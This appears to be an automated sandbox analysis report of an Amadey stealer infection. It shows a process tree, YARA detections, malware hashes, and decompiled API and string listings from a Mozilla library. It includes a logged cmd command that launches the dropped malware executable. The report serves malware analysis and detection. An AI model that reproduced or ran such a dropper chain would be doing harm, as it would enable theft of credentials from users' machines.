Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6424 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:08:50
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6872 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:09:14
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGHDGIDAK.exe"
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:09:14
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:09:14
Start date:	22/11/2024
Path:	C:\Users\user\DocumentsIDGHDGIDAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIDGHDGIDAK.exe"
Imagebase:	0x7ff68faa0000
File size:	1'922'048 bytes
MD5 hash:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2022059982.0000000000B51000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1979976382.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:09:17
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa50000
File size:	1'922'048 bytes
MD5 hash:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2067092916.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2025424614.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:09:18
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'922'048 bytes
MD5 hash:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2071721210.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2029497529.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:09:46
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceuserer --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6492 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	11:10:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'922'048 bytes
MD5 hash:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2710533772.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2438369832.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	11:10:22
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe"
Imagebase:	0x7ff70fc70000
File size:	6'821'123 bytes
MD5 hash:	BFC5EA31B4AEEFEC1508E8F5B458E574
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:10:23
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe"
Imagebase:	0x140000000
File size:	12'606'192 bytes
MD5 hash:	A7118DFFEAC3772076F1A39A364D608D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CBD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CC5F688,00001000), ref: 6CBD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CBD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBD369F
__aulldiv.LIBCMT ref: 6CBD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CBD3773
EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBD377E
LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CBD37C4
EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBD37CB
LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBD3801
__aulldiv.LIBCMT ref: 6CBD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CBD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CBD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CBD394C

Strings

AuthcAMDenti, xrefs: 6CBD3946
MOZ_TIMESTAMP_MODE, xrefs: 6CBD35DB
QPC, xrefs: 6CBD38FC
GTC, xrefs: 6CBD3912
GenuntelineI, xrefs: 6CBD3639

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: e229a9ca4c1a88c31924d6ccb332579b60e3d5e46d25cf08329f9c27fc8aa416
Instruction ID: fee86deb2234b9ad8c68fae196ffed21c25a4f7095eeb72cdd589ec7ee0f8c97
Opcode Fuzzy Hash: e229a9ca4c1a88c31924d6ccb332579b60e3d5e46d25cf08329f9c27fc8aa416
Instruction Fuzzy Hash: 94B1C271B093409FDB0CDF28C85461ABBF5FB8A704F45892DE899E3791DB74E8108B92

Function 6CBEC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CBEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CBEC969
GetSystemInfo.KERNEL32(?), ref: 6CBEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CBEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CBEC9E2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aeabf2a7489b3e5134a88e61485e91917fb9325f72869036cdf32caab1f48d3c
Instruction ID: 409eefe645141a293c762a12afab8938550a82f8cda66c093914ca9b34d4ce37
Opcode Fuzzy Hash: aeabf2a7489b3e5134a88e61485e91917fb9325f72869036cdf32caab1f48d3c
Instruction Fuzzy Hash: 0E212935701204ABDB05AF24DC84BAE7BB9EB4AB44FA0011AF903B7B80EB715C1087A1

Function 6CBD3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CBD3095

Part of subcall function 6CBD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CC5F688,00001000), ref: 6CBD35D5
Part of subcall function 6CBD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBD35E0
Part of subcall function 6CBD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CBD35FD
Part of subcall function 6CBD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBD363F
Part of subcall function 6CBD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBD369F
Part of subcall function 6CBD35A0: __aulldiv.LIBCMT ref: 6CBD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBD309F

Part of subcall function 6CBF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B85
Part of subcall function 6CBF5B50: EnterCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B90
Part of subcall function 6CBF5B50: LeaveCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5BD8
Part of subcall function 6CBF5B50: GetTickCount64.KERNEL32 ref: 6CBF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CBD30BE

Part of subcall function 6CBD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CBD3127
Part of subcall function 6CBD30F0: __aulldiv.LIBCMT ref: 6CBD3140

Part of subcall function 6CC0AB2A: __onexit.LIBCMT ref: 6CC0AB30

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: efc6d8429dec508cfbf7a7b7181b4dda59b2029c49e06897c4efbe2544433fef
Instruction ID: 70917e56cecf04e1978c2708389a49ed6b4ce931802b09128fc87ea6bcc23558
Opcode Fuzzy Hash: efc6d8429dec508cfbf7a7b7181b4dda59b2029c49e06897c4efbe2544433fef
Instruction Fuzzy Hash: 59F02D22E207889BCB14DF7488811EB7374AF6B114F915319E88473692FF21B1E883C5

Non-executed Functions

Function 6CBE5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CBE5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE54BE
__Init_thread_footer.LIBCMT ref: 6CBE54DB

Part of subcall function 6CC0AB3F: EnterCriticalSection.KERNEL32(6CC5E370,?,?,6CBD3527,6CC5F6CC,?,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB49
Part of subcall function 6CC0AB3F: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD3527,6CC5F6CC,?,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0AB7C

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

GetCurrentThreadId.KERNEL32 ref: 6CBE54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CBE5516
GetCurrentThreadId.KERNEL32 ref: 6CBE556A
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CBE5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CBE5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CBE5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CBE55E6
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CBE5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBE5616

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

GetCurrentThreadId.KERNEL32 ref: 6CBE563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBE5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CBE567C
free.MOZGLUE(?), ref: 6CBE56AE

Part of subcall function 6CBF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
Part of subcall function 6CBF5E90: memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
Part of subcall function 6CBF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CBE56E8
GetCurrentThreadId.KERNEL32 ref: 6CBE5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CBE570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CBE5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CBE574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CBE576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CBE5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CBE57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CBE57CA

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CBE5766
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CBE57C5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CBE57AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBE54B9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CBE5724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CBE5D2B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBE548D
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CBE5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CBE5B38
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CBE56E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CBE5D01
[I %d/%d] profiler_init, xrefs: 6CBE564E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CBE5717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBE54A3
MOZ_PROFILER_STARTUP, xrefs: 6CBE55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CBE5AC9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CBE5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CBE5C56
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CBE5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CBE584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CBE5791
MOZ_BASE_PROFILER_HELP, xrefs: 6CBE5511
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CBE5CF9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CBE5BBE
GeckoMain, xrefs: 6CBE5554, 6CBE55D5

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6a59b944d59727d20bd8009527262ab521d4308716ea4d2c802503f333e81c3f
Instruction ID: de75b9173d20b162e6ac4def31548eeb2d21150bae23de8934290c5f8754bf8c
Opcode Fuzzy Hash: 6a59b944d59727d20bd8009527262ab521d4308716ea4d2c802503f333e81c3f
Instruction Fuzzy Hash: 462236B4A043809FD7009F75841865A7BF5EF8A78CF844629E846A7B41FB31C86DCB5B

Function 6CBE6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBE6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBE6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CBE6D26

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CBE6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBE6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CBE6D73
free.MOZGLUE(00000000), ref: 6CBE6D80
CertGetNameStringW.CRYPT32 ref: 6CBE6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CBE6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBE6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CBE6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CBE6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CBE6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CBE6E34
CreateFileW.KERNEL32 ref: 6CBE6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CBE6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBE6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CBE709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBE7103
free.MOZGLUE(00000000), ref: 6CBE7153
CloseHandle.KERNEL32(?), ref: 6CBE7176
__Init_thread_footer.LIBCMT ref: 6CBE7209
__Init_thread_footer.LIBCMT ref: 6CBE723A
__Init_thread_footer.LIBCMT ref: 6CBE726B
__Init_thread_footer.LIBCMT ref: 6CBE729C
__Init_thread_footer.LIBCMT ref: 6CBE72DC
__Init_thread_footer.LIBCMT ref: 6CBE730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CBE73C2
VerSetConditionMask.NTDLL ref: 6CBE73F3
VerSetConditionMask.NTDLL ref: 6CBE73FF
VerSetConditionMask.NTDLL ref: 6CBE7406
VerSetConditionMask.NTDLL ref: 6CBE740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBE741A
moz_xmalloc.MOZGLUE(?), ref: 6CBE755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBE7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CBE7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBE7598
free.MOZGLUE(00000000), ref: 6CBE75AC

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

Strings

wintrust.dll, xrefs: 6CBE72CD
(, xrefs: 6CBE768A
SHA256, xrefs: 6CBE6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CBE72C8

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 084590cc5b2411ea1d2c3c74300906cd8e9ca426b7b941279c59a152538afffb
Instruction ID: 7efc3d2a0c7f1ec8cdc0d1756d8fe988e68b7e257ebe67a88bf141855f30a18d
